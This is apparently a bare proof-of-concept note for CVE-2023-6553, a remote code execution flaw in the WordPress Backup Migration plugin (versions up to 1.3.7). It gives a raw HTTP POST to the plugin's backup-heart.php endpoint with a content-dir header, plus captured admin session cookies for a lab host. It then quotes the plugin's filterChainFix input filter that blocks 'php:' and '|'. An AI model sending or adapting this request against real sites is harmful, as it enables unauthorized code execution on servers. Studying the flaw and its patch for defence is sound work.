CVE-2023-6553 Wordpress Backup Migration Plugin RCE

Backup Migration <= 1.3.7

POST /wp-content/plugins/backup-backup/includes/backup-heart.php HTTP/1.1
Host: 192.168.59.211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.211/wp-admin/
Connection: close
Cookie: wordpress_e9913da348dbccb312080f19f2d5f42e=admin%7C1702633600%7CBBAORunYr1sBsNJxoXPCZzDmitl6nf4o0pJSWDAC1y1%7Ca6e8acc150f152d2b5aa4d373e5ff828187efd0c9e212eab25859d55778a52e2; i_like_gitea=94b6fe5fe1049e19; lang=zh-CN; redirect_to=%2F; JSESSIONID=node019bmeisxrr5jql3o20jv87og13.node0; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_e9913da348dbccb312080f19f2d5f42e=admin%7C1702633600%7CBBAORunYr1sBsNJxoXPCZzDmitl6nf4o0pJSWDAC1y1%7Cb3a0f6ea3e6536b5e606de98a800e4156008295e564a757f1b36ed6a8077c9f7; wp-settings-time-1=1702463992
Upgrade-Insecure-Requests: 1
content-dir: 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Content-Length: 3

 	31	  // Filter and prevent PHP filter injection
 	32	  function filterChainFix($content) {
 	33
 	34	    // Make sure it exist and is string
 	35	    if (!is_string($content)) die("Incorrect parameters.");
 	36
 	37	    // Check if it's not larger than max allowed path length (default systems)
 	38	    if (strlen($content) > 256) die("Incorrect parameters.");
 	39
 	40	    // Check if the path does not contain "php:"
 	41	    if (strpos($content, "php:")) die("Incorrect parameters.");
 	42
 	43	    // Check if the path contain "|", it's not possible to use this character with our backups paths
 	44	    if (strpos($content, "|")) die("Incorrect parameters.");
 	45
 	46	    // Check if the directory/file exist otherwise fail
 	47	    if (!(is_dir($content) || file_exists($content))) die("Incorrect parameters.");
 	48
 	49	    // Return correct content
 	50	    return $content;
 	51
 	52	  }